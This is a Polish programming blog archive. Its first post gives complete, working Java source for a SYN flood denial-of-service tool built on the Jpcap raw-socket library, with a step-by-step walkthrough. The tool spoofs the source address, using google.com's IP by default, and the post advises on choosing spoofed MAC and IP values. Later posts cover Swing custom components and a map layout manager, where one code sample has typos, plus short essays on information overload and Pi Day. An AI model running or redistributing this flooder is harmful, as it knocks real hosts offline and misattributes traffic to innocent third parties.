niedziela, 29 marca 2009

Java: SynFlooder

Protokoły sieciowe tworzone lata temu nie były projektowane zgodnie z zasadą ograniczonego zaufania. Przez w stosunkowo krótkim czasie udało się znaleźć ich podatności. Aktualnie najczęściej stosowany protokół sieciowy TCP wbrew pozorom posiada ich kilka.

Każda podatność oznacza atak na dany protokół. W tym poście nie będę jednak zbyt dokładnie skupiał się na mechanizmie ataku SYN, tylko postaram się opisać Exploit wykonujący ten atak napisany w języku Java.

Wiele osób uważa, że język przeze mnie użyty do takiego programowania się nie nadaje. Z pomocą przychodzi jednak google i kreatywność wielu ludzi. Z języków niższego poziomu znane jest pojęcie RAW Socket. W skrócie jest to API umożliwiające operacje bezpośrednio na pakietach i urządzeniach sieciowych. Atak z wykorzystaniem luki w protokole sieciowym wymaga niestety (i na szczęście) ingerencję w sposób komunikacji. Potrzebujemy więc zabawić się samymi pakietami.

Jak już wspomniałem inny ludzie przychodzą z pomocą. Dla Javy istnieje biblioteka dostarczająca RAW Socket'y. Jest to Jpcap. Pobrać go można stąd: jpcap download. Biblioteka wydana jest na licencji LGPL, co jest dla nas niezwykle korzystne. Dostarcza ona dla nas wszystkie niezbędne funkcje.

Skoro już mamy co trzeba i wszystko działa, to czas zabrać się do pisania kodu. Oczywiście najlepiej go zaprojektować zawczasu. Po krótce atak polega na wysyłaniu dużej liczby pakietów SYN do hosta na otwarty port, ignorując jednocześnie nadchodzące pakiety SYN/ACK. W efekcie na atakowanym hoście powstaje ogromna liczba półotwartych połączeń. W pewnym momencie może dojść do sytuacji gdy:
a) system się zawiesi,
b) system nie będzie w stanie odpowiedzieć na żadne zgłoszenie,

Atak ten jak i sama luka w implementacjach stosu TCP znana jest od lat. Ciekawe i niebezpieczne jest jednak, że domyślnie system Windows nawet w wersji XP nie jest przed nim zabezpieczony. Konieczne jest dokonanie odpowiednich wpisów w rejestrze, lub zastosowanie firewall (nie systemowego!!!). Możliwy jest atak na NetBIOS i SMB, konieczne jest odpowiednie "dopasowanie" do protokołów.

Tak więc cały program można ująć w jedną klasę Main. Dla wygody do programu dodane zostały dwie dodatkowe klasy. SigHand to handler sygnału INT, aby można było przerwać program i na zakończenie podać informacje o ataku, oraz klasa IntVal to pewien odpowiednik klasy Integer. Posiada mniej funkcji, bo nie potrzeba nam ich wiele.

Klasa SigHand:
import sun.misc.Signal;
import sun.misc.SignalHandler;

class SigHand implements SignalHandler
{
private IntVal sentp;

public SigHand(IntVal arg0)
{
this.sentp=arg0;
}

public void handle(Signal arg0)
{
String sent=Integer.toString(sentp.getVal());
System.out.println(\"Packets sent:\"+sent);
System.exit(0);
}
}

Klasa jest prosta, nie trzeba jej opisywać. Mniej spostrzegawczym powiem, że w momencie odebrania sygnału z OS program wywołuje automatycznie metodę handle(Signal arg0). Zadaniem funkcji jest wypisanie na ekran informacji o liczbie wysłanych pakietów i zakończenie aplikacji.

Klasa IntVal:
public class IntVal
{
private int val;

public IntVal()
{

val=0;
}

public IntVal(int arg0)
{
val=arg0;
}

public void setVal(int arg0)
{
val=arg0;
}

public int getVal()
{
return val;
}

public void incVal()
{
val++;
}
}

Znowu mamy do czynienia z prostą klasą. Jest to Java Bean nie dziedziczący z żadnej klasy i nie implementujący żadnego interface'u. Jedyne jego zadanie to przechowanie pojedynczej wartości typu int. Od razu widać, że nie została przygotowana dla programu wielowątkowego.

Atak SYN Flood wymaga wysłania bardzo dużej liczby pakietów. Pomimo to program wielowątkowy wcale nie spełni tutaj swego zadania. Dlaczego tak się dzieje? Procesor może wykonać w tym samym czasie wiele zadań, jednak w pewnym momencie dochodzimy do użycia karty sieciowej i w tym miejscu powracamy do wykonywania sekwencyjnego. Dla naszego programu jest to wąskie gardło. Nie jest fizycznie możliwe wysłanie kilku pakietów na raz. Przygotowanie pojedynczego pakietu trwa wystarczająco krótko, więc całość może zostać wykonana w pętli sekwencyjnie, różnica nie zostanie odczuta.

Dane potrzebne do wykonania ataku:
  • IP źródła,
  • MAC źródła,
  • IP odbiorcy,
  • MAC odbiorcy,
  • otwarty port,
Lista wynika oczywiście z budowy pakietu TCP/IP i Ethernet. Można jednak pozwolić sobie na pewne odstępstwa od tego. Szczególnie jeśli atakowany przez nas host nie znajduje się w naszej sieci lokalnej.

IP może nie być naszym adresem. Najlepiej jednak, aby był zgodny z adresem źródłowym MAC. MAC źródłowy w przypadku użycia adresu IP zewnętrznego powinien być adresem bramy domyślnej (dla hosta w naszej sieci) i naszym adresem dla hosta spoza sieci. Oczywiście można użyć innego i mieć nadzieję, że się uda. IP odbiorcy musi być prawidłowe. Tego się nie przeskoczy. Port może być teoretycznie dowolny, praktycznie warto wybrać program, który z chęcią przyjmuje połączenia z zewnątrz, jak na przykład komunikator. MAC odbiorcy zostawiłem na koniec nie bez powodu. Jeśli odbiorca jest poza naszą siecią podajemy adres bramy domyślnej (swojej), jeśli jest w naszej sieci podajemy dokładny adres odbiorcy. Oba te przypadki można obejść podając adres rozgłoszeniowy, który składa się z samych 1. Heksadecymalnie ma postać: FF:FF:FF:FF:FF:FF.

Klasa Main:
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;

import sun.misc.Signal;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.packet.EthernetPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.TCPPacket;


public class Main
{
public static String usage=\"synflood dest_IP dest_port [-opt]\\n\\n\" +

\"\\t-s\\t source IP\\n\" +
\"\\t-m\\t source MAC\\n\" +
\"\\t-M\\t destination MAC\\n\" +
\"\\t-v\\t verbose (more informations)\";

public static final Long sent=new Long(0);

public static void main(String[] args)
{
boolean wsrcIP=false;
boolean wsrcMAC=false;
boolean wdstMAC=false;

boolean verb=false;
boolean err=false;
IntVal sentp=new IntVal(0);
char op=\'0\';
String sIP=\"\";
String sMAC=\"\";

String dMAC=\"\";
JpcapSender sender=null;
jpcap.NetworkInterface[] devices = JpcapCaptor.getDeviceList();
if(args.length<2)
{
System.out.println(usage);
}
else
{

for(int i=0;i<args.length;i++)
{
if(args[i].charAt(0)==\'-\')
{
op=args[i].charAt(1);
switch (op)
{
case \'s\':
wsrcIP=true;

sIP=args[++i];
if(!sIP.matches(\"(^|[^.0-9])((25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])\\\\.){3}(25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])([^.0-9]|$)\")) err=true;
break;
case \'m\':
wsrcMAC=true;
sMAC=args[++i];
if(sMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;
break;

case \'M\':
wdstMAC=true;
dMAC=args[++i];
if(dMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;
break;
case \'v\':
verb=true;
break;

}
}
}
if(err) System.exit(-1);
if (verb) Signal.handle(new Signal(\"INT\"),new SigHand(sentp));
String dstadr=args[0];
int dprt=Integer.parseInt(args[1]);
InetAddress srcIP=null;

try {
if(wsrcIP)
{
srcIP=InetAddress.getByName(sIP);
}
else
{
srcIP=InetAddress.getByName(\"www.google.com\");
}
} catch (UnknownHostException e1) {}

if(!wsrcIP) sIP=srcIP.getHostAddress();
if(!wsrcMAC) sMAC=\"00:0f:ea:8a:2d:19\";
if(!wdstMAC) dMAC=\"FF:FF:FF:FF:FF:FF\";
if(verb)
{
System.out.println(\"\\n source MAC:\\t\\t\" + sMAC + \"\\n\" +

\" destination MAC:\\t\" + dMAC + \"\\n\" +
\" source IP:\\t\\t\" + sIP + \"\\n\" +

\" destination IP:\\t\" + dstadr + \"\\n\" +
\" destination port:\\t\" + dprt + \"\\n\");

}
while(true)
{
try {
sender = JpcapSender.openDevice(devices[0]);
} catch (IOException e) {}

//create a TCP packet with specified port numbers, flags, and other parameters

int sprt=(int)(Math.random()*64511)+1024;

TCPPacket p=new TCPPacket(sprt,dprt,52,0,false,false,false,false,true,false,false,false,65535,0);

//specify IPv4 header parameters
try {
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_TCP,
srcIP,InetAddress.getByName(dstadr));
} catch (UnknownHostException e) {}


//set the data field of the packet
p.data=(\"\").getBytes();

//create an Ethernet packet (frame)
EthernetPacket ether=new EthernetPacket();

//set frame type as IP
ether.frametype=EthernetPacket.ETHERTYPE_IP;
//set source and destination MAC addresses
String[] mac=sMAC.split(\":\");
ether.src_mac=new byte[6];

for(int i=0;i<6;i++) ether.src_mac[i]=(byte)Integer.parseInt(mac[i],16);
mac=dMAC.split(\":\");
ether.dst_mac=new byte[6];
for(int i=0;i<6;i++) ether.dst_mac[i]=(byte)Integer.parseInt(mac[i],16);

//set the datalink frame of the packet p as ether

p.datalink=ether;

//send the packet p
sender.sendPacket(p);

sender.close();
sentp.incVal();
try {
Thread.sleep(1);
} catch (InterruptedException e) {}
}

}
}
}

Pozornie kod może wydawać się skomplikowany. Jest jednak na tyle prosty, że byłem w stanie napisać go samodzielnie ;).

Najlepiej zacząć od początku, tak więc:
1. Sprawdzamy opcje z jakimi uruchomiony został program:
if(args.length<2)
{
System.out.println(usage);
}
else
{
for(int i=0;i<args.length;i++)
{
if(args[i].charAt(0)==\'-\')

{
op=args[i].charAt(1);
switch (op)
{
case \'s\':
wsrcIP=true;
sIP=args[++i];
if(!sIP.matches(\"(^|[^.0-9])((25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])\\\\.){3}(25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])([^.0-9]|$)\")) err=true;
break;
case \'m\':

wsrcMAC=true;
sMAC=args[++i];
if(sMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;
break;
case \'M\':
wdstMAC=true;
dMAC=args[++i];
if(dMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;

break;
case \'v\':
verb=true;
break;
}
}
}
if(err) System.exit(-1);
}


Przy okazji sprawdzamy, czy adresy IP i MAC są poprawne. Do tego celu na Stringach używamy RegExp'a. Nie będę tych wyrażeń tłumaczył, bo to oddzielny temat. Wyrażenia do takich zastosowań można gotowe znaleźć w sieci w ramach przykładów. Ważne jest, że jeśli podane dane są niepoprawne, to ustawiony jest błąd, skutkujący później zakończeniem programu z kodem -1.

2. Jeśli użyto opcji v, rejestrujemy handler sygnału:
if (verb) Signal.handle(new Signal("INT"),new SigHand(sentp));


3. Ustawiamy dane do ataku:
String dstadr=args[0];
int dprt=Integer.parseInt(args[1]);
InetAddress srcIP=null;
try {
if(wsrcIP)
{
srcIP=InetAddress.getByName(sIP);
}
else
{
srcIP=InetAddress.getByName(\"www.google.com\");
}
} catch (UnknownHostException e1) {}
if(!wsrcIP) sIP=srcIP.getHostAddress();
if(!wsrcMAC) sMAC=\"00:0f:ea:8a:2d:19\";
if(!wdstMAC) dMAC=\"FF:FF:FF:FF:FF:FF\";
if(verb)
{
System.out.println(\"\\n source MAC:\\t\\t\" + sMAC + \"\\n\" +

\" destination MAC:\\t\" + dMAC + \"\\n\" +
\" source IP:\\t\\t\" + sIP + \"\\n\" +

\" destination IP:\\t\" + dstadr + \"\\n\" +
\" destination port:\\t\" + dprt + \"\\n\");
}


Jeśli adres IP źródła nie został podany, pozyskujemy adres google.com i taki ustawiamy.

4. Tworzymy nowy Sender z urządzenia sieciowego pierwszego:
try {
sender = JpcapSender.openDevice(devices[0]);
} catch (IOException e) {}


5. Wyznaczamy port źródłowy:

int sprt=(int)(Math.random()*64511)+1024;

Port wyznaczamy losowo. Chyba tylko dla samej metody. Może to jednak nie działać właściwie. Atak na niektóre porty może się nie powieźć z powodu niewłaściwego portu źródłowego.

6. Tworzymy pakiet TCP:
TCPPacket p=new TCPPacket(sprt,dprt,52,0,false,false,false,false,true,false,false,false,65535,0);


7. dodajemy nagłówek IPv4:
try {
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_TCP,
srcIP,InetAddress.getByName(dstadr));
} catch (UnknownHostException e) {}


8. Tworzymy ramkę ethernetową:
//create an Ethernet packet (frame)
EthernetPacket ether=new EthernetPacket();
//set frame type as IP
ether.frametype=EthernetPacket.ETHERTYPE_IP;


9. konfigurujemy ramkę ethernetową:
//set source and destination MAC addresses
String[] mac=sMAC.split(\":\");
ether.src_mac=new byte[6];
for(int i=0;i<6;i++) ether.src_mac[i]=(byte)Integer.parseInt(mac[i],16);
mac=dMAC.split(\":\");
ether.dst_mac=new byte[6];
for(int i=0;i<6;i++) ether.dst_mac[i]=(byte)Integer.parseInt(mac[i],16);


10. Dodajemy ramkę ethernet do pakietu i wysyłamy go po sieci:
//set the datalink frame of the packet p as ether
p.datalink=ether;

//send the packet p
sender.sendPacket(p);

Proponuję każdemu potestować ten atak na sieci lokalnej i poobserwować ruch na sieci. Najlepiej użyć do tego dobrego sniffera takiego jak Wireshark (dawniej Ethereal). Można pobrać go z oficjalnej strony producenta. To darmowe narzędzie zostało użyte do przeprowadzenia testów podczas pisania tego posta.



Atak z konsoli w windows:

Log z Wireshark:

Analizę tego obrazka pozostawiam zainteresowanym.

Testowanie exploita na komputerach spoza sieci lokalnej może zostać uznane za atak. Należy pamiętać, że atak SYN Flood jest bardzo łatwy do wykrycia, a za jego użycie może grozić "odsiadka"!

Grafika pochodzi z wikipedia: Syn Flood

niedziela, 22 marca 2009

Swing: Własny Layout Manager - wyższa szkoła jazdy

W poprzednim poście opisałem w krótkich słowach w jaki sposób stworzyć najłatwiej własny komponent graficzny w Swing. Nie pokusiłem się jednak o wyjaśnienie do czego taki komponent może się przydać, jakie są zalety jego użycia i po co marnować czas na tworzenie czegoś własnego w czasie gdy Sun Microsystems i wiele innych firm z chęcią za darmo dostarczy nam setki rozwiązań.

Po co więc wynajdywać na nowo koło, jednak w innym kolorze? Odpowiedź choć wydaje się głupia, jest niezwykle prosta: dla wygody! Mój punkt widzenia nie od razu zostanie podzielony przez ludzi, którym programowanie zdarzeniowe jest raczej obce. Aby to objaśnić najlepiej użyć przykładu. Jeśli tworzymy aplikację graficzną, to zapewne będzie obsługiwana przy pomocy klawiatury i myszy. Jeśli przechwytujemy zdarzenia z klawiatury, to jest to stosunkowo proste. Gorzej kiedy dochodzi już to drugie. Przyjmijmy, że mamy mapę świata. Program ma wyświetlić informacje na temat kilku największych miast świata. W momencie kliknięcia nad miastem i w pewnym promieniu pojawia się dymek z nazwą, współrzędnymi geograficznymi i populacją. Tak więc trzeba sprawdzić gdzie było kliknięcie. Można skorzystać z jednego komponentu z mapą, pobrać każde kliknięcie i w jego momencie współrzędne sprawdzić z listą miast "odpytując" każde o to, czy kliknięcie było na nim. Każde kliknięcie powoduje więc nawet tysiące dodatkowych obliczeń całkowicie zbędnych. Istnieje więc lepsze rozwiązanie. Każde miasto jako komponent graficzny na mapie. Gdy klikniemy w komponent system operacyjny przekaże to zdarzenie bezpośrednio do klikniętego komponentu. Nie musimy szukać klikniętego miasta, system operacyjny sam to zrobi za nas.

Mam nadzieję, że te spóźnione nieco objaśnienie wystarczy wszystkim. Czas przejść do spraw aktualnych. Tym razem zajmiemy się rozmieszczaniem elementów w komponencie graficznym, które także są komponentami. Technologia Swing korzysta z trzech różnych wzorców projektowych. Są to:
  • kompozyt,
  • obserwator,
  • MVC,
Ten ostatni znany jest z technologii webowych głównie, jednak to nie jedyne jego zastosowanie. Najistotniejszy jest dla nas w tej chwili ten pierwszy, choć sprawne oko zauważy każdy z nich w tym poście.

Przykład na objaśnienie przydatności komponentów jest nie bez znaczenia. MapLayout powstał na potrzeby aplikacji EloarsTracer służącej do wizualizacji trasy pakietów na mapie świata. Przedstawię go właśnie na przykładzie tej aplikacji.

W ostatniej opublikowanej wersji aplikacji Tracer (0.9.33) MapLayout posiada dość rozbudowaną strukturę i część zachowań BorderLayout'u. W tutorialu przedstawiony zostanie pierwotna wersja klasy MapLayout, bez powyższych rozszerzeń.

No to zaczynamy. Każdy Layout Manager musi implementować interface LayoutManager. Co ciekawe interface ten pochodzi z pakietu AWT. Jak można zauważyć wymaga on posiadania przez klasę kilku metod. Najważniejsza metoda to layoutContainer(Container parent), która odpowiada bezpośrednio za rozmieszczenie elementów.

Tworzymy klasę:
public class MapLayout implements LayoutManager
{
  layoutContainer(Container parent)
  {
  }
  addLayoutComponent(String name, Component comp) {}
  minimumLayoutSize(Container parent) {}
  preferredLayoutSize(Container parent) {}
  removeLayoutComponent(Component comp) {}
}

W zasadzie nie potrzebujemy konstruktora i destruktora dla naszej klasy, wystarczą nam metody implementowane z interface'u. Istniejący "nadzorcy rozmieszczenia" układają elementy według ich rozmiaru, kolejności dodania, czasem klucza i swoich parametrów. Ten jest od nich zupełnie inny. Potrzebuje do swojego działania znać pozycje równika i południka "0", rozmiar mapy w px, oraz współrzędne geograficzne punktu do umieszczenia na mapie. Współrzędne te diametralnie różnią się od współrzędnych (X,Y) komponentu graficznego na ekranie jak i na komponencie mapy. Z tego powodu do programu wprowadzony został interface MapElem. Implementujące go komponenty muszą umieć zwrócić swoje współrzędne geograficzne. Wszystko co nie implementuje tego interface'u zostanie pominięte przez klasę MapLayout.

Postać MapElem:
public interface MapElem
{
  public int getP();
  public int getR();
}

Jak widać jest to niezwykle prosty kod. P i R to oznaczają kolejno Południk i Równoleżnik. Nie jest istotne w jaki sposób informacje te zostaną pobrane z rozmieszczanego komponentu. Najlepiej, aby pochodziły z modelu danych i aby LayoutManager nie miał na nie wpływu. Jeśli w czasie rozmieszczania te dane się zmienią, z każdym ułożeniem element będzie się przesuwał pomimo, że ma stać w miejscu.

No to czas na metodę rozmieszczania elementów. Parametrem jej wywołania jest kontener, którego zawartość ma zostać rozmieszczona. Z niego pobierzemy jego rozmiar i wszystkie jego "dzieci", czyli jego zawartość.

layoutComponent:
public void layoutContainer(Container parent)
{
  int CompN=parent.getComponentCount();
  MapElem tmp=null;
  Component tmp2=null;
  int rown=parent.getHeight()/2;
  int polz=parent.getWidth()/2;
  for(int i=0;i<CompN;i++)
  {
    if(parent.getComponent(i) instanceof MapElem)
    {
    tmp=(MapElem)parent.getComponent(i);
    tmp2=parent.getComponent(i);
    //polodnik
    int P=tmp.getP();
    //rownoleznik
    int R=tmp.getR();
    //szerokosc
    int S=tmp2.getWidth();
    //wysokosc
    int W=tmp2.getHeight();
    double X=P;
    X=((X/180)*polz)+polz;
    double Y=R;
    Y=(Y/90)*rown+rown;
    if(tmp2.getClass()==JMapPoint.class)
    {
      if((int)X+S>parent.getWidth()) X=parent.getWidth()-S/2;
      if((int)X<0) X=0;
      if((int)Y+W>parent.getHeight()) Y=parent.getHeight()-W/2;
      if((int)Y<0) Y=0;
    }
    else if (tmp2.getClass()==JHint.class)
    {
      if((int)X+S>parent.getWidth()) X=parent.getWidth()-(S+5);
      if((int)X<0) X=5;
      if((int)Y+W>parent.getHeight()) Y=parent.getHeight()-(W+5);
      if((int)Y<0) Y=5;
    }
    tmp2.setBounds((int)X,(int)Y, S, W);
    tmp2.repaint();
    }
  }
}

Na pierwszy rzut oka całość może wydawać się skomplikowana. W rzeczywistości jest to bardzo proste. Na początek ustalamy wartości początkowe. Ilość komponentów wewnątrz kontenera, pozycję równika i pozycję południka 0; Potem już pozostaje dla wszystkich komponentów wykonać prosty algorytm:
  1. jeśli komponent jest elementem mapy
  2. pobierz południk, równoleżnik, wysokość i szerokość komponentu
  3. wylicz współrzędną X: X=((południk/180)*południk_zer)+południk_zero;
  4. wylicz współrzędną Y: Y=(równoleżnik/90)*równik+równik;
  5. wprowadź poprawkę jeśli na brzegu mapy,
  6. ustaw wyliczone współrzędne dla komponentu
  7. odrysuj komponent
Mam nadzieję, że powyższy algorytm jest bardziej zrozumiały niż kod powyżej. Pozostaje już tylko opisać kiedy napisana przez nas metoda zostaje wywołana. Metoda ta zostaje wykonana zawsze wtedy, gdy komponent zarządzany przez MapLayout jest odrysowywany, czyli gdy zostaje:
  • pokazany,
  • zmienia rozmiar,
  • zmienia położenie
Dzięki zastosowaniu komponentów graficznych, a nie metody paint jednego komponentu i odpowiednio nepisanego LayoutManager'a mamy pewność, że wszystkie punkty zostaną właściwie rozmieszczone na mapie. Tak jak już mówiłem na wstępie teraz można zacząć korzystać z ich zalet poprze przechwytywanie zdarzeń bezpośrednio przez punkty.

Nie jest to w prawdzie mój pierwszy tutorial, ale w ich pisaniu ciągle jeszcze wprawy nie mam. Będę bardzo wdzięczny za wszelkie komentarze pomocne mi w rozwinieciu się, a przede wszystkim rozwinięciu tego zakątka.

środa, 18 marca 2009

Swing: Własny komponent, EasyWay

Swing to stosunkowo prosty w użyciu zbiór klas do tworzenia GUI. Ma wiele zalet i tyle samo przeciwników co zwolenników. Rozwiązanie to ma już swoje lata, jednak rozwija się dość sprawnie dalej i ciągle pozwala na bardzo sprawne kodowanie. Sun tworząc Swing'a pozostawił stosunkowo dużo możliwości rozwinięcia go. Jednym ze sposobów rozszerzenia Swing jest stworzenie własnego komponentu graficznego. Opiszę tutaj jedną z prostszych metod na stworzenie go.

Zbiór komponentów jest dość duży. Pozornie zawsze znajdzie się czego użyć do stworzenia swojej aplikacji. Czasami by uzyskać właściwy efekt w jakimś specjalistycznym zastosowaniu konieczne jest skorzystanie z kombinacji nawet kilkunastu elementów. Istnieją też takie przypadki, gdy użycie własnego rozwiązania jest po prostu konieczne.

Stosunkowo prosta i chyba najlepsza metoda na stworzenie własnego komponentu to rozszerzenie już istniejącego komponentu o zbliżonych właściwościach zgodnie z zasadami programowania obiektowego. Mówiąc prościej wystarczy stworzyć klasę dziedziczącą z klasy komponentu z pakietu javax.swing.*. Osobiście proponuję użycie klasy JPanel. Jest to bardzo prosty komponent, a co najważniejsze jest kontenerem, więc służy do "przechowania" innych komponentów. Z zasad obiektowości wiemy, że klasa dziedzicząca z JPanel będzie posiadała wszystkie jego właściwości.

Co można zrobić z JPanel? W zasadzie wszystko co potrzeba. Najpierw trzeba wiedzieć jak dokładnie taką klasę przygotować:

public class JCustomComponent extends JPanel
{
  public JCustomComponent()
  {
    super();
  }
}

No i cała filozofia. Co dokładnie robi powyższy kod? Przykład tworzy nową klasę JCustomComponent, która jak na razie zachowuje się dokładnie jak JPanel i w ten sposób można ją wykorzystać. Teraz czas najwyższy na rozszerzenie. Dajmy na to niech ten komponent w tle ma czerwony owal tak na cały swój wymiar.

Nazwy komponentów w Swing są praktycznie takie same jak w AWT. Różnice są niewielkie w ilości dostępnych elementów. Przyjęto więc konwencję, iż nazwy klas Swing zaczynać się będą od dużej litery J. Wskazane jest, aby konwencję tą zachować tworząc nowe klasy, aby jednoznacznie wskazać, pochodzenie komponentu.

Aby wpłynąć na sposób rysowania komponentu wystarczy przeciążyć jedną metodę.

protected void paintComponent(Graphics g)

Za każdym razem gdy komponent jest odrysowywany wywoływana jest właśnie ta metoda. W przypadku większości komponentów tak na prawdę nie zawiera ona nic konkretnego. Rysowaniem jak i obsługą zajmuje się DelegatUI. Nie wpływamy jednak na delegata, tylko na klasę podstawową komponentu. Nie musimy nawet przy tej metodzie wiedzieć, że Delegat istnieje.

Przykład z czerwonym owalem:
public class JCustomComponent extends JPanel
{
  public JCustoComponent()
  {
    super()
  }

  protected void paintComponent(Graphics g)
  {
    g.setColor(Color.red);
    g.drawfilloval(0,0,this.getWidth(), thid.getHeight);
    super.paintComponent(g);
  }
}

Ostatnia linijka w metodzie paintComponent() jest niemal obowiązkowa. Jej zadanie to wywołanie metody rysowania rodzica, czyli klasy JPanel. Jest to szczególnie ważne gdy użyjemy komponentu jako kontenera. Zapewnia to poprawne odrysowanie "dzieci" komponentu dzięki już stworzonym mechanizmom klasy JPanel. Reszta kodu różniącego się od pierwszego przykładu, to tylko rysowanie figury geometrycznej po ustawieniu odpowiedniego koloru.

Proponuję, aby zawsze w konstruktorze komponentu, czyli jeszcze przed jego rysowaniem zadbać o odpowiedni jego wygląd. Mam na myśli ustawienie jego tła na przezroczyste korzystając z metody setBackground(), którą to odziedziczył oczywiście po JPanel. Aby tło było przezroczyste wystarczy stworzyć nowy kolor (klasa Color) z parametrem Alpha ustawionym na 100% (wartość: 255 lub 0xFF)

Co można więcej? W zasadzie co tylko dusza zapragnie. Po pierwsze komponent może dziedziczyć po dowolnym istniejącym komponencie rozszerzając jego możliwości. Przykładowo możemy stworzyć klasę JPasswordField z dowolnym EchoChar'em dziedzicząc z JTextField. Najważniejsze, to aby nie powielać już istniejących rozwiązań. Jeśli potrzebujemy po prostu panelu z tłem w dowolnym kolorze, to lepiej użyć zwykłego JPanel niż tworzyć nową klasę dziedziczącą. W końcu przecież JPanel posiada metodę setBackground(Color).

Jest to raczej krótki wstęp do tworzenia komponentów Swing. Zawiera tylko opis jednej z metod i co ważne prostej, lecz skutecznej. Jej użycie wymaga niewielkiej znajomości Javy. Następnym razem postaram się przybliżyć tworzenie LayoutManager'a dla Swing na przykładzie MapLayoutManager.

Jak można zauważyć każdy post zaopatrzony jest w ilustrację. Te wyposażone w emoticony z tabliczkami można uznać w pewnym sensie za wyjątkowe. Emotsy będą nam nieco przeszkadzać w tekście. Na razie nie ma ich wiele, dlatego te same powtarzają się w obrazkach, ale z czasem przybędzie ich i mam nadzieję czasem kogoś rozbawią. Od razu ostrzegam, że nie jest to komiks internetowy w paskach. Emotsy z założenia mają nie wychodzić poza ramy jednego obrazka, chyba że właśnie gdzieś sobie pójdą ;).

niedziela, 15 marca 2009

W informacyjnym chaosie

Z prawa, lewa, z góry i dołu jesteśmy atakowani informacjami. Tak to już jest w społeczeństwie informacyjnym. W pewnym momencie wydać się mogło, że z pomocą przychodzi społeczeństwo informatyczne zastępujące poprzednie informacyjne. Teraz jest jednak gorzej i będzie chyba już tylko gorzej.

Podobno ilość informacji w jednym wydaniu gazety codziennej to więcej, niż człowiek w XIXwieku przyswajał przez całe życie. Gazet codziennych wychodzi kilka, a do tego prześcigają się w tematach na tyle, że jakieś 15-20% jednak się różni. Spokojnie można więc jeszcze do 12:00 pochłonąć wiedzę przeznaczoną dla 2 lub 3 osobników z czasów rewolucji przemysłowej.

W momencie podłączenia się do globalnej sieci Internet ilość informacji tylko narasta. Tysiące dzienników, forów, grup dyskusyjnych, elektroniczne wydania gazet, blogi... Wyliczać można do wieczora. To powyżej to tylko w formie pisma, a tą przyswaja się chyba najwolniej. Mamy więc do dyspozycji serwisy z muzyką, filmami, krótkimi klipami, radia internetowe, podcasty na każdy znany temat i na każdy nowy. Teraz dopiero zaczyna się problem. Czaszka już nie puchnie bo papier nas nie przeraża, ale gdy włączyć przeglądarkę zaczyna się tragedia.

Powstało kilka serwisów pomagających w dostępie do ciekawych aktualności skatalogowanych wg dziedzin. Dodatkowo możliwe jest prowadzenie ocen dla samych znalezisk jak i poszukiwaczy. Do pewnego momentu wydawać się mogło, że to nie tylko pomoże, ale i nawet wystarczy. Od jakiegoś czasu śmietnik, który podjęły się sprzątać pochłania je do reszty. Jeszcze na stronach głównych nie jest tak źle, ale na zapleczu, na stronach linków oczekujących panuje taki sam chaos jak w całej sieci.

Oczywiście można nie zaglądać na zaplecze, czekać spokojnie na głównej na co bardziej łakome kąski przefiltrowane przez tysiące oczu. Problem polega na tym, że do naszych rąk trafia towar zimny i o świeżości przedwczorajszej ryby. Przykładowo doniesienia sportowe, lub ze świata kultury. Albo doczekają się opóźnienia 24h+, albo będą miały niską jakość z powodu słabego wyboru w najkrótszym czasie.

Z serwisami "górniczymi" niestety wiążą się i inne problemy i to nawet ich setki. Skupienie uwagi na nich choć na chwilę może jednak skutkować "dostaniem globusa", "serca palpitacją" i setką innych objawów. Nie zagłębiajmy się w nie więc w najbliższym czasie, pomińmy w milczeniu.

Tytułem zakończenia przydałoby się ciepłe słowo otuchy. Dopóki jednak ktoś nie wpadnie na nowy pomysł na miarę serwisów "górniczych", nie widać zbyt wielkiej nadziei dla społeczeństwa informatycznego podłączonego do sieci Internet. "Od przybytku głowa nie boli"... podobno.

sobota, 14 marca 2009

Pi Day

Każdego dnia człowiek uczy się czegoś nowego. Każdego dnia może dowiedzieć się czegoś ciekawego na temat tego właśnie dnia. Mniejsza o imieniny, urodziny, czas na święta. Tak więc dzisiejszy dzień, szczególnie w anglojęzycznych rejonach sponsorują liczby 3,14. Sposób zapisu jest tu nie bez znaczenia. Oto nastał PI day.

Swoją drogą nie widzę zbytnio specjalnej potrzeby poświęcania całego dnia na uczczenie stałej matematycznej. W kalendarzu mamy już dostatecznie dużo innych "wyjątkowych" dni. Jest dzień górnika, strażaka, kobiet, mężczyzn, kastrowania zwierząt czy bóg jeden wie czego jeszcze. Liczba PI jest zapewne najlepiej znaną stałą matematyczną, aczkolwiek przecież nie jedyną.

Skoro już taki dzień istnieje, to może tak wybrać inną bardzo znaną stałą, którą można znaleźć w kalkulatorze i wyznaczyć kiedy przypadnie jej dzień i jaka godzina go "dopełni". Taka sławna stałą to e. Cechy ma podobne jak PI i jak większość takich stałych. Jej własności przytaczać nie będę, bo nie trudno samemu je odszukać. Jej wartość to 2.718281828... W takim razie jej dzień to 7 lutego, a godzina to 18:28. Hmm no to przegapiliśmy czas na składanie życzeń i krojenie tortu.

Dla każdej takiej stałej jak się uprzemy znajdziemy i dzień godzinę. Zastanawiam się czy jest sens ograniczać się tylko do stałych matematycznych. W sumie istnieje jeszcze tyle pięknych stałych fizycznych. Taka stała Boltzmana, albo Laplace'a czy Planca. Czyż nie zasługują na swoje święta? Pozwoliły na dokonanie tak wielu odkryć. Może się wydawać więc, że zapomnieliśmy podarować dzień stałym, które miały większy wpływ na rozwój.

Niezależnie od tego, czy jutro w kalendarzu natrafię na "cows day" za 365 dni czeka nas następny PI day. W zasadzie dzień liczby e mógłby być nieco ciekawszy. e-day kojarzy się przecież od razu z internetem. Od razu jakoś tak swojsko się robi.

Grafika pochodzi z xkcd, odcinek 10.

Na start, na hop

